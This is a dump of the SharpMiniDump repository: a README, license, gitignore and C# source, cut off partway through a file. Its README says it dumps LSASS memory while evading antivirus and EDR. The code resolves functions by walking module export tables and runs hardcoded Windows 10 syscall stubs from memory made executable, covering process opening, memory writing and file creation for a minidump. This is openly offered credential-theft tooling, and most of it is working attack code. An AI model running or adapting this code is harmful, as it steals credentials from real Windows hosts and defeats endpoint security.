[
  {
    "path": ".gitattributes",
    "content": "# Auto detect text files and perform LF normalization\n* text=auto\n"
  },
  {
    "path": ".gitignore",
    "content": "## Ignore Visual Studio temporary files, build results, and\n## files generated by popular Visual Studio add-ons.\n##\n## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore\n\n# User-specific files\n*.rsuser\n*.suo\n*.user\n*.userosscache\n*.sln.docstates\n\n# User-specific files (MonoDevelop/Xamarin Studio)\n*.userprefs\n\n# Mono auto generated files\nmono_crash.*\n\n# Build results\n[Dd]ebug/\n[Dd]ebugPublic/\n[Rr]elease/\n[Rr]eleases/\nx64/\nx86/\n[Aa][Rr][Mm]/\n[Aa][Rr][Mm]64/\nbld/\n[Bb]in/\n[Oo]bj/\n[Ll]og/\n\n# Visual Studio 2015/2017 cache/options directory\n.vs/\n# Uncomment if you have tasks that create the project's static files in wwwroot\n#wwwroot/\n\n# Visual Studio 2017 auto generated files\nGenerated\\ Files/\n\n# MSTest test Results\n[Tt]est[Rr]esult*/\n[Bb]uild[Ll]og.*\n\n# NUnit\n*.VisualState.xml\nTestResult.xml\nnunit-*.xml\n\n# Build Results of an ATL Project\n[Dd]ebugPS/\n[Rr]eleasePS/\ndlldata.c\n\n# Benchmark Results\nBenchmarkDotNet.Artifacts/\n\n# .NET Core\nproject.lock.json\nproject.fragment.lock.json\nartifacts/\n\n# StyleCop\nStyleCopReport.xml\n\n# Files built by Visual Studio\n*_i.c\n*_p.c\n*_h.h\n*.ilk\n*.meta\n*.obj\n*.iobj\n*.pch\n*.pdb\n*.ipdb\n*.pgc\n*.pgd\n*.rsp\n*.sbr\n*.tlb\n*.tli\n*.tlh\n*.tmp\n*.tmp_proj\n*_wpftmp.csproj\n*.log\n*.vspscc\n*.vssscc\n.builds\n*.pidb\n*.svclog\n*.scc\n\n# Chutzpah Test files\n_Chutzpah*\n\n# Visual C++ cache files\nipch/\n*.aps\n*.ncb\n*.opendb\n*.opensdf\n*.sdf\n*.cachefile\n*.VC.db\n*.VC.VC.opendb\n\n# Visual Studio profiler\n*.psess\n*.vsp\n*.vspx\n*.sap\n\n# Visual Studio Trace Files\n*.e2e\n\n# TFS 2012 Local Workspace\n$tf/\n\n# Guidance Automation Toolkit\n*.gpState\n\n# ReSharper is a .NET coding add-in\n_ReSharper*/\n*.[Rr]e[Ss]harper\n*.DotSettings.user\n\n# JustCode is a .NET coding add-in\n.JustCode\n\n# TeamCity is a build add-in\n_TeamCity*\n\n# DotCover is a Code Coverage Tool\n*.dotCover\n\n# AxoCover is a Code Coverage Tool\n.axoCover/*\n!.axoCover/settings.json\n\n# Visual Studio code coverage results\n*.coverage\n*.coveragexml\n\n# NCrunch\n_NCrunch_*\n.*crunch*.local.xml\nnCrunchTemp_*\n\n# MightyMoose\n*.mm.*\nAutoTest.Net/\n\n# Web workbench (sass)\n.sass-cache/\n\n# Installshield output folder\n[Ee]xpress/\n\n# DocProject is a documentation generator add-in\nDocProject/buildhelp/\nDocProject/Help/*.HxT\nDocProject/Help/*.HxC\nDocProject/Help/*.hhc\nDocProject/Help/*.hhk\nDocProject/Help/*.hhp\nDocProject/Help/Html2\nDocProject/Help/html\n\n# Click-Once directory\npublish/\n\n# Publish Web Output\n*.[Pp]ublish.xml\n*.azurePubxml\n# Note: Comment the next line if you want to checkin your web deploy settings,\n# but database connection strings (with potential passwords) will be unencrypted\n*.pubxml\n*.publishproj\n\n# Microsoft Azure Web App publish settings. Comment the next line if you want to\n# checkin your Azure Web App publish settings, but sensitive information contained\n# in these scripts will be unencrypted\nPublishScripts/\n\n# NuGet Packages\n*.nupkg\n# NuGet Symbol Packages\n*.snupkg\n# The packages folder can be ignored because of Package Restore\n**/[Pp]ackages/*\n# except build/, which is used as an MSBuild target.\n!**/[Pp]ackages/build/\n# Uncomment if necessary however generally it will be regenerated when needed\n#!**/[Pp]ackages/repositories.config\n# NuGet v3's project.json files produces more ignorable files\n*.nuget.props\n*.nuget.targets\n\n# Microsoft Azure Build Output\ncsx/\n*.build.csdef\n\n# Microsoft Azure Emulator\necf/\nrcf/\n\n# Windows Store app package directories and files\nAppPackages/\nBundleArtifacts/\nPackage.StoreAssociation.xml\n_pkginfo.txt\n*.appx\n*.appxbundle\n*.appxupload\n\n# Visual Studio cache files\n# files ending in .cache can be ignored\n*.[Cc]ache\n# but keep track of directories ending in .cache\n!?*.[Cc]ache/\n\n# Others\nClientBin/\n~$*\n*~\n*.dbmdl\n*.dbproj.schemaview\n*.jfm\n*.pfx\n*.publishsettings\norleans.codegen.cs\n\n# Including strong name files can present a security risk\n# (https://github.com/github/gitignore/pull/2483#issue-259490424)\n#*.snk\n\n# Since there are multiple workflows, uncomment next line to ignore bower_components\n# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)\n#bower_components/\n\n# RIA/Silverlight projects\nGenerated_Code/\n\n# Backup & report files from converting an old project file\n# to a newer Visual Studio version. Backup files are not needed,\n# because we have git ;-)\n_UpgradeReport_Files/\nBackup*/\nUpgradeLog*.XML\nUpgradeLog*.htm\nServiceFabricBackup/\n*.rptproj.bak\n\n# SQL Server files\n*.mdf\n*.ldf\n*.ndf\n\n# Business Intelligence projects\n*.rdl.data\n*.bim.layout\n*.bim_*.settings\n*.rptproj.rsuser\n*- [Bb]ackup.rdl\n*- [Bb]ackup ([0-9]).rdl\n*- [Bb]ackup ([0-9][0-9]).rdl\n\n# Microsoft Fakes\nFakesAssemblies/\n\n# GhostDoc plugin setting file\n*.GhostDoc.xml\n\n# Node.js Tools for Visual Studio\n.ntvs_analysis.dat\nnode_modules/\n\n# Visual Studio 6 build log\n*.plg\n\n# Visual Studio 6 workspace options file\n*.opt\n\n# Visual Studio 6 auto-generated workspace file (contains which files were open etc.)\n*.vbw\n\n# Visual Studio LightSwitch build output\n**/*.HTMLClient/GeneratedArtifacts\n**/*.DesktopClient/GeneratedArtifacts\n**/*.DesktopClient/ModelManifest.xml\n**/*.Server/GeneratedArtifacts\n**/*.Server/ModelManifest.xml\n_Pvt_Extensions\n\n# Paket dependency manager\n.paket/paket.exe\npaket-files/\n\n# FAKE - F# Make\n.fake/\n\n# CodeRush personal settings\n.cr/personal\n\n# Python Tools for Visual Studio (PTVS)\n__pycache__/\n*.pyc\n\n# Cake - Uncomment if you are using it\n# tools/**\n# !tools/packages.config\n\n# Tabs Studio\n*.tss\n\n# Telerik's JustMock configuration file\n*.jmconfig\n\n# BizTalk build output\n*.btp.cs\n*.btm.cs\n*.odx.cs\n*.xsd.cs\n\n# OpenCover UI analysis results\nOpenCover/\n\n# Azure Stream Analytics local run output\nASALocalRun/\n\n# MSBuild Binary and Structured Log\n*.binlog\n\n# NVidia Nsight GPU debugger configuration file\n*.nvuser\n\n# MFractors (Xamarin productivity tool) working folder\n.mfractor/\n\n# Local History for Visual Studio\n.localhistory/\n\n# BeatPulse healthcheck temp database\nhealthchecksdb\n\n# Backup folder for Package Reference Convert tool in Visual Studio 2017\nMigrationBackup/\n"
  },
  {
    "path": "LICENSE",
    "content": "BSD 3-Clause License\n\nCopyright (c) 2019, b4rtik\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n\n1. Redistributions of source code must retain the above copyright notice, this\n   list of conditions and the following disclaimer.\n\n2. Redistributions in binary form must reproduce the above copyright notice,\n   this list of conditions and the following disclaimer in the documentation\n   and/or other materials provided with the distribution.\n\n3. Neither the name of the copyright holder nor the names of its\n   contributors may be used to endorse or promote products derived from\n   this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\nFOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\nDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\nSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\nCAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\nOR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n"
  },
  {
    "path": "README.md",
    "content": "# SharpMiniDump\n\nCreate a minidump of the LSASS process from memory (Windows 10 - Windows Server 2016). The entire process uses: dynamic API calls, direct syscall and Native API unhooking to evade the AV / EDR detection.\n\nSharpMiniDump is a rough port of this project [Dumpert](https://github.com/outflanknl/Dumpert) by [@Cn33liz](https://twitter.com/Cneelis) and you will find the detail in this [post](https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/), so BIG credits to him.\n\nOther credits go to [@cobbr_io](https://twitter.com/cobbr_io) and [@TheRealWover](https://twitter.com/TheRealWover) for their work on [SharpSploit](https://github.com/cobbr/SharpSploit) (Execution / DynamicInvoke)\n\n\n \n"
  },
  {
    "path": "SharpMiniDump/CustomLoadLibrary.cs",
    "content": "//\n// Author: B4rtik (@b4rtik)\n// Project: RedPeanut (https://github.com/b4rtik/RedPeanut)\n// License: BSD 3-Clause\n//\n\nusing System;\nusing System.Collections.Generic;\nusing System.Diagnostics;\nusing System.IO;\nusing System.Linq;\nusing System.Runtime.InteropServices;\nusing System.Security.Cryptography;\nusing System.Text;\n\nnamespace SharpMiniDump\n{\n    public class CustomLoadLibrary\n    {\n        /// <summary>\n        /// Resolves LdrLoadDll and uses that function to load a DLL from disk.\n        /// </summary>\n        /// <author>Ruben Boonen (@FuzzySec)</author>\n        /// <param name=\"DLLPath\">The path to the DLL on disk. Uses the LoadLibrary convention.</param>\n        /// <returns>IntPtr base address of the loaded module or IntPtr.Zero if the module was not loaded successfully.</returns>\n        public static IntPtr LoadModuleFromDisk(string DLLPath)\n        {\n            Natives.UNICODE_STRING uModuleName = new Natives.UNICODE_STRING();\n            Natives.RtlInitUnicodeString(ref uModuleName, DLLPath);\n\n            IntPtr hModule = IntPtr.Zero;\n            Natives.NTSTATUS CallResult = (Natives.NTSTATUS)Natives.LdrLoadDll(IntPtr.Zero, 0, ref uModuleName, ref hModule);\n            if (CallResult != Natives.NTSTATUS.Success || hModule == IntPtr.Zero)\n            {\n                return IntPtr.Zero;\n            }\n\n            return hModule;\n        }\n\n        public static IntPtr GetDllAddress(string DLLName, bool CanLoadFromDisk = false)\n        {\n            IntPtr hModule = GetLoadedModuleAddress(DLLName);\n            if (hModule == IntPtr.Zero && CanLoadFromDisk)\n            {\n                hModule = LoadModuleFromDisk(DLLName);\n                if (hModule == IntPtr.Zero)\n                {\n                    throw new FileNotFoundException(DLLName + \", unable to find the specified file.\");\n                }\n            }\n            else if (hModule == IntPtr.Zero)\n            {\n                throw new DllNotFoundException(DLLName + \", Dll was not found.\");\n            }\n\n            return hModule;\n        }\n\n        /// <summary>\n        /// Helper for getting the pointer to a function from a DLL loaded by the process.\n        /// </summary>\n        /// <author>Ruben Boonen (@FuzzySec)</author>\n        /// <param name=\"DLLName\">The name of the DLL (e.g. \"ntdll.dll\" or \"C:\\Windows\\System32\\ntdll.dll\").</param>\n        /// <param name=\"FunctionName\">Name of the exported procedure.</param>\n        /// <param name=\"CanLoadFromDisk\">Optional, indicates if the function can try to load the DLL from disk if it is not found in the loaded module list.</param>\n        /// <returns>IntPtr for the desired function.</returns>\n        public static IntPtr GetLibraryAddress(string DLLName, string FunctionName, bool CanLoadFromDisk = false)\n        {\n            IntPtr hModule = GetLoadedModuleAddress(DLLName);\n            if (hModule == IntPtr.Zero && CanLoadFromDisk)\n            {\n                hModule = LoadModuleFromDisk(DLLName);\n                if (hModule == IntPtr.Zero)\n                {\n                    throw new FileNotFoundException(DLLName + \", unable to find the specified file.\");\n                }\n            }\n            else if (hModule == IntPtr.Zero)\n            {\n                throw new DllNotFoundException(DLLName + \", Dll was not found.\");\n            }\n\n            return GetExportAddress(hModule, FunctionName);\n        }\n\n        /// <summary>\n        /// Helper for getting the base address of a module loaded by the current process. This base address could be passed to GetProcAddress/LdrGetProcedureAddress or it could be used for manual export parsing.\n        /// </summary>\n        /// <author>Ruben Boonen (@FuzzySec)</author>\n        /// <param name=\"DLLName\">The name of the DLL (e.g. \"ntdll.dll\").</param>\n        /// <returns>IntPtr base address of the loaded module or IntPtr.Zero if the module is not found.</returns>\n        public static IntPtr GetLoadedModuleAddress(string DLLName)\n        {\n            ProcessModuleCollection ProcModules = Process.GetCurrentProcess().Modules;\n            foreach (ProcessModule Mod in ProcModules)\n            {\n                if (Mod.FileName.ToLower().EndsWith(DLLName.ToLower()))\n                {\n                    return Mod.BaseAddress;\n                }\n            }\n\n            return IntPtr.Zero;\n        }\n        /// <summary>\n        /// Given a module base address, resolve the address of a function by manually walking the module export table.\n        /// </summary>\n        /// <author>Ruben Boonen (@FuzzySec)</author>\n        /// <param name=\"ModuleBase\">A pointer to the base address where the module is loaded in the current process.</param>\n        /// <param name=\"ExportName\">The name of the export to search for (e.g. \"NtAlertResumeThread\").</param>\n        /// <returns>IntPtr for the desired function.</returns>\n        public static IntPtr GetExportAddress(IntPtr ModuleBase, string ExportName)\n        {\n            IntPtr FunctionPtr = IntPtr.Zero;\n            try\n            {\n                // Traverse the PE header in memory\n                Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C));\n                Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14));\n                Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18;\n                Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader);\n                Int64 pExport = 0;\n                if (Magic == 0x010b)\n                {\n                    pExport = OptHeader + 0x60;\n                }\n                else\n                {\n                    pExport = OptHeader + 0x70;\n                }\n\n                // Read -> IMAGE_EXPORT_DIRECTORY\n                Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport);\n                Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10));\n                Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14));\n                Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18));\n                Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C));\n                Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20));\n                Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24));\n\n                // Loop the array of export name RVA's\n                for (int i = 0; i < NumberOfNames; i++)\n                {\n                    String FunctionName = Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA + i * 4))));\n                    if (FunctionName.ToLower() == ExportName.ToLower())\n                    {\n                        Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase;\n                        Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase))));\n                        FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA);\n                        break;\n                    }\n                }\n            }\n            catch\n            {\n                // Catch parser failure\n                throw new InvalidOperationException(\"Failed to parse module exports.\");\n            }\n\n            if (FunctionPtr == IntPtr.Zero)\n            {\n                // Export not found\n                throw new MissingMethodException(ExportName + \", export not found.\");\n            }\n            return FunctionPtr;\n        }\n    }\n}\n"
  },
  {
    "path": "SharpMiniDump/NativeSysCall.cs",
    "content": "//\n// Author: B4rtik (@b4rtik)\n// Project: SharpMiniDump (https://github.com/b4rtik/SharpMiniDump)\n// License: BSD 3-Clause\n//\n\nusing System;\nusing System.ComponentModel;\nusing System.Diagnostics;\nusing System.Runtime.InteropServices;\nusing System.Security;\nusing static SharpMiniDump.Natives;\n\nnamespace SharpMiniDump\n{\n    class NativeSysCall\n    {\n        /// 0:  49 89 ca                mov r10,rcx\n        /// 3:  b8 0f 00 00 00          mov eax,0x0f\n        /// 8:  0f 05                   syscall\n        /// a:  c3                      ret\n\n        static byte[] bZwClose10 = { 0x49, 0x89, 0xCA, 0xB8, 0x0F, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 };\n\n        /// 0:  49 89 ca                mov r10,rcx\n        /// 3:  b8 0f 00 00 00          mov eax,0x3A\n        /// 8:  0f 05                   syscall\n        /// a:  c3                      ret\n\n        static byte[] bZwWriteVirtualMemory10 = { 0x49, 0x89, 0xCA, 0xB8, 0x3A, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 };\n\n        /// 0:  49 89 ca                mov r10,rcx\n        /// 3:  b8 0f 00 00 00          mov eax,0x50\n        /// 8:  0f 05                   syscall\n        /// a:  c3                      ret\n\n        static byte[] bZwProtectVirtualMemory10 = { 0x49, 0x89, 0xCA, 0xB8, 0x50, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 };\n\n        /// 0:  49 89 ca                mov r10,rcx\n        /// 3:  b8 0f 00 00 00          mov eax,0x36\n        /// 8:  0f 05                   syscall\n        /// a:  c3                      ret\n\n        static byte[] bZwQuerySystemInformation10 = { 0x49, 0x89, 0xCA, 0xB8, 0x36, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 };\n\n        /// 0:  49 89 ca                mov r10,rcx\n        /// 3:  b8 0f 00 00 00          mov eax,0x18\n        /// 8:  0f 05                   syscall\n        /// a:  c3                      ret\n\n        static byte[] bNtAllocateVirtualMemory10 = { 0x49, 0x89, 0xCA, 0xB8, 0x18, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 };\n\n        /// 0:  49 89 ca                mov r10,rcx\n        /// 3:  b8 0f 00 00 00          mov eax,0x1E\n        /// 8:  0f 05                   syscall\n        /// a:  c3                      ret\n\n        static byte[] bNtFreeVirtualMemory10 = { 0x49, 0x89, 0xCA, 0xB8, 0x1E, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 };\n\n        /// 0:  49 89 ca                mov r10,rcx\n        /// 3:  b8 0f 00 00 00          mov eax,0x55\n        /// 8:  0f 05                   syscall\n        /// a:  c3                      ret\n\n        static byte[] bNtCreateFile10 = { 0x49, 0x89, 0xCA, 0xB8, 0x55, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 };\n\n        ///0:  49 89 ca                mov r10,rcx\n        ///3:  b8 26 00 00 00          mov eax,0x26\n        ///8:  0f 05                   syscall\n        ///a:  c3                      ret\n\n        static byte[] bZwOpenProcess10 = { 0x49, 0x89, 0xCA, 0xB8, 0x26, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 };\n\n        public static NTSTATUS ZwOpenProcess10(ref IntPtr hProcess, ProcessAccessFlags processAccess, OBJECT_ATTRIBUTES objAttribute, ref CLIENT_ID clientid)\n        {\n            byte[] syscall = bZwOpenProcess10;\n\n            unsafe\n            {\n                fixed (byte* ptr = syscall)\n                {\n\n                    IntPtr memoryAddress = (IntPtr)ptr;\n\n                    if (!Natives.VirtualProtect(memoryAddress,\n                        (UIntPtr)syscall.Length, 0x40, out uint oldprotect))\n                    {\n                        throw new Win32Exception();\n                    }\n\n                    Delegates.ZwOpenProcess myAssemblyFunction = (Delegates.ZwOpenProcess)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.ZwOpenProcess));\n\n                    return (NTSTATUS)myAssemblyFunction(out hProcess, processAccess, objAttribute, ref clientid);\n                }\n            }\n        }\n\n        public static NTSTATUS ZwClose10(IntPtr handle)\n        {\n            byte[] syscall = bZwClose10;\n\n            unsafe\n            {\n                fixed (byte* ptr = syscall)\n                {\n\n                    IntPtr memoryAddress = (IntPtr)ptr;\n\n                    if (!Natives.VirtualProtect( memoryAddress,\n                        (UIntPtr)syscall.Length, 0x40, out uint oldprotect))\n                    {\n                        throw new Win32Exception();\n                    }\n\n                    Delegates.ZwClose myAssemblyFunction = (Delegates.ZwClose)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.ZwClose));\n\n                    return (NTSTATUS)myAssemblyFunction(handle);\n                }\n            }\n        }\n\n        public static NTSTATUS ZwWriteVirtualMemory10(IntPtr hProcess, ref IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, ref IntPtr lpNumberOfBytesWritten)\n        {\n            byte[] syscall = bZwWriteVirtualMemory10;\n\n            unsafe\n            {\n                fixed (byte* ptr = syscall)\n                {\n\n                    IntPtr memoryAddress = (IntPtr)ptr;\n\n                    if (!Natives.VirtualProtect( memoryAddress,\n                        (UIntPtr)syscall.Length, 0x40, out uint oldprotect))\n                    {\n                        throw new Win32Exception();\n                    }\n\n                    Delegates.ZwWriteVirtualMemory myAssemblyFunction = (Delegates.ZwWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.ZwWriteVirtualMemory));\n\n                    return (NTSTATUS)myAssemblyFunction(hProcess, lpBaseAddress, lpBuffer, nSize, ref lpNumberOfBytesWritten);\n                }\n            }\n        }\n\n        public static NTSTATUS ZwProtectVirtualMemory10(IntPtr hProcess, ref IntPtr lpBaseAddress, ref uint NumberOfBytesToProtect, uint NewAccessProtection, ref uint lpNumberOfBytesWritten)\n        {\n            byte[] syscall = bZwProtectVirtualMemory10;\n\n            unsafe\n            {\n                fixed (byte* ptr = syscall)\n                {\n\n                    IntPtr memoryAddress = (IntPtr)ptr;\n\n                    if (!Natives.VirtualProtect(memoryAddress,\n                        (UIntPtr)syscall.Length, 0x40, out uint oldprotect))\n                    {\n                        throw new Win32Exception();\n                    }\n\n                    Delegates.ZwProtectVirtualMemory myAssemblyFunction = (Delegates.ZwProtectVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.ZwProtectVirtualMemory));\n\n                    return (NTSTATUS)myAssemblyFunction(hProcess, ref lpBaseAddress, ref NumberOfBytesToProtect, NewAccessProtection, ref lpNumberOfBytesWritten);\n                }\n            }\n        }\n\n        public static NTSTATUS ZwQuerySystemInformation10(SYSTEM_INFORMATION_CLASS SystemInformationClass, IntPtr SystemInformation, uint SystemInformationLength, ref uint ReturnLength)\n        {\n            byte[] syscall = bZwQuerySystemInformation10;\n\n            unsafe\n            {\n                fixed (byte* ptr = syscall)\n                {\n\n                    IntPtr memoryAddress = (IntPtr)ptr;\n\n                    if (!Natives.VirtualProtect(memoryAddress,\n                        (UIntPtr)syscall.Length, 0x40, out uint oldprotect))\n                    {\n                        throw new Win32Exception();\n                    }\n\n                    Delegates.ZwQuerySystemInformation myAssemblyFunction = (Delegates.ZwQuerySystemInformation)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.ZwQuerySystemInformation));\n\n                    return (NTSTATUS)myAssemblyFunction(SystemInformationClass, SystemInformation, SystemInformationLength, ref ReturnLength);\n                }\n            }\n        }\n\n        public static NTSTATUS NtAllocateVirtualMemory10(IntPtr hProcess, ref IntPtr BaseAddress, IntPtr ZeroBits, ref UIntPtr RegionSize, ulong AllocationType, ulong Protect)\n        {\n            byte[] syscall = bNtAllocateVirtualMemory10;\n\n            unsafe\n            {\n                fixed (byte* ptr = syscall)\n                {\n\n                    IntPtr memoryAddress = (IntPtr)ptr;\n\n                    if (!Natives.VirtualProtect(memoryAddress,\n                        (UIntPtr)syscall.Length, 0x40, out uint oldprotect))\n                    {\n                        throw new Win32Exception();\n                    }\n\n                    Delegates.NtAllocateVirtualMemory myAssemblyFunction = (Delegates.NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtAllocateVirtualMemory));\n\n                    return (NTSTATUS)myAssemblyFunction(hProcess, ref BaseAddress, ZeroBits, ref RegionSize, AllocationType, Protect);\n                }\n            }\n        }\n\n        public static NTSTATUS NtFreeVirtualMemory10(IntPtr hProcess, ref IntPtr BaseAddress, ref uint RegionSize, ulong FreeType)\n        {\n            byte[] syscall = bNtFreeVirtualMemory10;\n\n            unsafe\n            {\n                fixed (byte* ptr = syscall)\n                {\n\n                    IntPtr memoryAddress = (IntPtr)ptr;\n\n                    if (!Natives.VirtualProtect(memoryAddress,\n                        (UIntPtr)syscall.Length, 0x40, out uint oldprotect))\n                    {\n                        throw new Win32Exception();\n                    }\n\n                    Delegates.NtFreeVirtualMemory myAssemblyFunction = (Delegates.NtFreeVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtFreeVirtualMemory));\n\n                    return (NTSTATUS)myAssemblyFunction(hProcess, ref BaseAddress, ref RegionSize, FreeType);\n                }\n            }\n        }\n\n        public static NTSTATUS NtCreateFile10(out Microsoft.Win32.SafeHandles.SafeFileHandle fileHandle,\n                Int32 desiredAccess,\n                ref OBJECT_ATTRIBUTES objectAttributes,\n                out IO_STATUS_BLOCK ioStatusBlock,\n                ref Int64 allocationSize,\n                UInt32 fileAttributes,\n                System.IO.FileShare shareAccess,\n                UInt32 createDisposition,\n                UInt32 createOptions,\n                IntPtr eaBuffer,\n                UInt32 eaLength)\n        {\n            byte[] syscall = bNtCreateFile10;\n\n            unsafe\n            {\n                fixed (byte* ptr = syscall)\n                {\n\n                    IntPtr memoryAddress = (IntPtr)ptr;\n\n                    if (!Natives.VirtualProtect(memoryAddress,\n                        (UIntPtr)syscall.Length, 0x40, out uint oldprotect))\n                    {\n                        throw new Win32Exception();\n                    }\n\n                    Delegates.NtCreateFile myAssemblyFunction = (Delegates.NtCreateFile)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtCreateFile));\n\n                    return (NTSTATUS)myAssemblyFunction(out fileHandle,\n                 desiredAccess,\n                ref objectAttributes,\n                out ioStatusBlock,\n                ref allocationSize,\n                 fileAttributes,\n                 shareAccess,\n                 createDisposition,\n                 createOptions,\n                 eaBuffer,\n                 eaLength);\n                }\n            }\n        }\n\n        public struct Delegates\n        {\n            [SuppressUnmanagedCodeSecurity]\n            [UnmanagedFunctionPointer(CallingConvention.Cdecl)]\n            public delegate int ZwOpenProcess(out IntPtr hProcess, ProcessAccessFlags processAccess, OBJECT_ATTRIBUTES objAttribute, ref CLIENT_ID clientid);\n\n            [SuppressUnmanagedCodeSecurity]\n            [UnmanagedFunctionPointer(CallingConvention.Cdecl)]\n            public delegate int ZwClose(IntPtr handle);\n\n            [SuppressUnmanagedCodeSecurity]\n            [UnmanagedFunctionPointer(CallingConvention.Cdecl)]\n            public delegate int ZwWriteVirtualMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, ref IntPtr lpNumberOfBytesWritten);\n\n            [SuppressUnmanagedCodeSecurity]\n            [UnmanagedFunctionPointer(CallingConvention.Cdecl)]\n            public delegate int ZwProtectVirtualMemory(IntPtr hProcess, ref IntPtr lpBaseAddress, ref uint NumberOfBytesToProtect, uint NewAccessProtection, ref uint lpNumberOfBytesWritten);\n\n            [SuppressUnmanagedCodeSecurity]\n            [UnmanagedFunctionPointer(CallingConvention.Cdecl)]\n            public delegate int ZwQuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass, IntPtr SystemInformation, uint SystemInformationLength, ref uint ReturnLength);\n\n            [SuppressUnmanagedCodeSecurity]\n            [UnmanagedFunctionPointer(CallingConvention.Cdecl)]\n            public delegate int NtAllocateVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref UIntPtr RegionSize, ulong AllocationType, ulong Protect);\n\n            [SuppressUnmanagedCodeSecurity]\n            [UnmanagedFunctionPointer(CallingConvention.Cdecl)]\n            public delegate int NtFreeVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref uint RegionSize, ulong FreeType);\n\n            [SuppressUnmanagedCodeSecurity]\n            [UnmanagedFunctionPointer(CallingConvention.Cdecl)]\n            public delegate int NtCreateFile(out Microsoft.Win32.SafeHandles.SafeFileHandle fileHandle,\n                Int32 desiredAccess,\n                ref OBJECT_ATTRIBUTES objectAttributes,\n                out IO_STATUS_BLOCK ioStatusBlock,\n                ref Int64 allocationSize,\n                UInt32 fileAttributes,\n                System.IO.FileShare shareAccess,\n                UInt32 createDisposition,\n                UInt32 createOptions,\n                IntPtr eaBuffer,\n                UInt32 eaLength);\n\n            [SuppressUnmanagedCodeSecurity]\n            [UnmanagedFunctionPointer(CallingConvention.Cdecl)]\n            public delegate bool RtlEqualUnicodeString(UNICODE_STRING String1, UNICODE_STRING String2, bool CaseInSensitive);\n\n            [SuppressUnmanagedCodeSecurity]\n            [UnmanagedFunctionPointer(CallingConvention.Cdecl)]\n            public delegate bool RtlGetVersion(ref OSVERSIONINFOEXW lpVersionInformation);\n\n            [SuppressUnmanagedCodeSecurity]\n            [UnmanagedFunctionPointer(CallingConvention.Cdecl)]\n            public delegate bool RtlInitUnicodeString(ref UNICODE_STRING DestinationString, [MarshalAs(UnmanagedType.LPWStr)] string SourceString);\n\n            [SuppressUnmanagedCodeSecurity]\n            [UnmanagedFunctionPointer(CallingConvention.Cdecl)]\n            public delegate bool MiniDumpWriteDump(IntPtr hProcess, uint ProcessId, Microsoft.Win32.SafeHandles.SafeFileHandle hFile, int DumpType, 